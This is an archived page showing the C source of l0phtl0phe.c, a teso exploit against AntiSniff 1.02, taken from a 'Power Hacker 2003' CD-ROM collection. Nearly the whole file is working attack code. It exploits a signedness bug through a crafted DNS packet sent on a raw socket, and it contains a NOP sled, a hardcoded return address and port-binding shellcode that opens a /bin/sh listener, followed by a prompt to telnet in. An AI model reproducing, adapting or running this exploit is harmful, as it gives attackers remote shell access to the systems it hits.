home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / l0phtl0phe.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-07  |  5.4 KB  |  142 lines

  1. <html>/* l0phtl0phe.c - antisniff exploit (1.02 included)
  2.  *
  3.  * -sc/teso
  4.  *
  5.  * gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet `libnet-config --defines`
  6.  *
  7.  * description:
  8.  * l0pht messed up the fix for their problem in antisniff by not regarding
  9.  * the type signedness properties of the char and int values used. this
  10.  * results in a cool method bypassing the too extra checks (length + strncat).
  11.  * some work on this topic have been done by mixter, (bad results on type
  12.  * casting), but it should be obvious to any security conscious programmers.
  13.  * i'm not stating that they aren't allowed errors, but they should fix it
  14.  * for sure if they're going to fix it at all.  -sc.
  15.  *
  16.  * greetings to all teso, lam3rz, hert, adm, w00w00 and lsd ppl.
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <netinet/in.h>
  22. #include <arpa/nameser.h>
  23. #include <libnet.h>
  24.  
  25.  
  26. #define OFFSET          0xbffef9a0
  27.  
  28. unsigned int    build_xp (unsigned char *xp);
  29.  
  30.  
  31. int
  32. main (int argc, char *argv[])
  33. {
  34.         int             sock;           /* raw socket */
  35.         u_long          src_ip,
  36.                         dst_ip;
  37.  
  38.         unsigned char   xpbuf[512];     /* this one gets complicated now */
  39.         unsigned char   tpack[512];     /* paket buffer */
  40.         unsigned int    pl_len;
  41.  
  42.  
  43.         if (argc != 3) {
  44.                 printf ("usage: %s <source ip> <dest ip>\n\n", argv[0]);
  45.  
  46.                 exit (EXIT_FAILURE);
  47.         }
  48.  
  49.         sock = libnet_open_raw_sock (IPPROTO_RAW);
  50.         if (sock == -1) {
  51.                 perror ("libnet_open_raw_sock");
  52.                 exit (EXIT_FAILURE);
  53.         }
  54.  
  55.         src_ip  = libnet_name_resolve (argv[1], 0);
  56.         dst_ip  = libnet_name_resolve (argv[2], 0);
  57.  
  58.         pl_len = build_xp (xpbuf);
  59.  
  60.         libnet_build_ip (UDP_H + DNS_H + pl_len, 0, 7350, 0, 2, IPPROTO_UDP,
  61.                 src_ip, dst_ip, NULL, 0, tpack);
  62.         libnet_build_udp (libnet_get_prand (PRu16), 53, NULL, 0,
  63.                 tpack + IP_H);
  64.         libnet_build_dns (libnet_get_prand (PRu16), 0x0000, 1, 0, 0, 0,
  65.                 xpbuf, pl_len, tpack + IP_H + UDP_H);
  66.         libnet_do_checksum (tpack, IPPROTO_UDP, UDP_H + DNS_H + pl_len);
  67.  
  68.         /* they use "udp and dst port 53" as bpf, so we should have no problem
  69.          */
  70.         libnet_write_ip (sock, tpack, UDP_H + IP_H + DNS_H + pl_len);
  71.         libnet_close_raw_sock (sock);
  72.  
  73.         printf ("exploitation succeeded.\n");
  74.         printf ("try: \"telnet %s 17664\" now.\n", argv[2]);
  75.  
  76.         exit (EXIT_SUCCESS);
  77. }
  78.  
  79.  
  80. /* build_xp
  81.  *
  82.  * build exploit buffer into buffer pointed to by `xp'.
  83.  */
  84.  
  85. unsigned int
  86. build_xp (unsigned char *xp)
  87. {
  88.         /* yea yea ugly buffer ;-) */
  89.         unsigned char   buf[] =
  90.                 "\x7c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  91.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  92.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  93.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  94.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  95.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  96.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  97.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  98.                 "\x90\x90\x90\xeb\x01"
  99.                 "\x7d\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  100.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  101.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  102.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  103.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  104.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  105.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  106.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  107.                 "\x90\x90\x90\xeb\x08\x00"
  108.                 "\xfe\x10\x10\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  109.                 "\x90\x90\xeb\x20"
  110.                 "\x90\x90\x90\x90"
  111.                 "\x3c\xf8\xfe\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  112.                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  113.  
  114.                 /* portshell 17644 portshellcode by smiler & scut */
  115.                 "\x31\xc0\xb0\x02\xcd\x80\x09\xc0\x74\x06\x31\xc0"
  116.                 "\xfe\xc0\xcd\x80\xeb\x76\x5f\x89\x4f\x10\xfe\xc1"
  117.                 "\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe"
  118.                 "\xc3\xb0\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66"
  119.                 "\x89\x5f\x14\x88\x47\x08\xb0\x45\x66\x89\x47\x16"
  120.                 "\x89\x57\x18\x8d\x4f\x14\x89\x4f\x0c\x8d\x4f\x08"
  121.                 "\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3\xb0"
  122.                 "\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0"
  123.                 "\x66\xcd\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe"
  124.                 "\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31"
  125.                 "\xd2\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d\x4f\x0c"
  126.                 "\xb0\x0b\xcd\x80\x31\xc0\x99\x31\xdb\x31\xc9\xe8"
  127.                 "\x7e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
  128.  
  129.         buf[287] = (OFFSET      ) & 0xff;
  130.         buf[288] = (OFFSET >>  8) & 0xff;
  131.         buf[289] = (OFFSET >> 16) & 0xff;
  132.         buf[290] = (OFFSET >> 24) & 0xff;
  133.  
  134.         memcpy (xp, buf, sizeof (buf));
  135.  
  136.         return (sizeof (buf));;
  137. }
  138.  
  139.  
  140.  
  141.  
  142.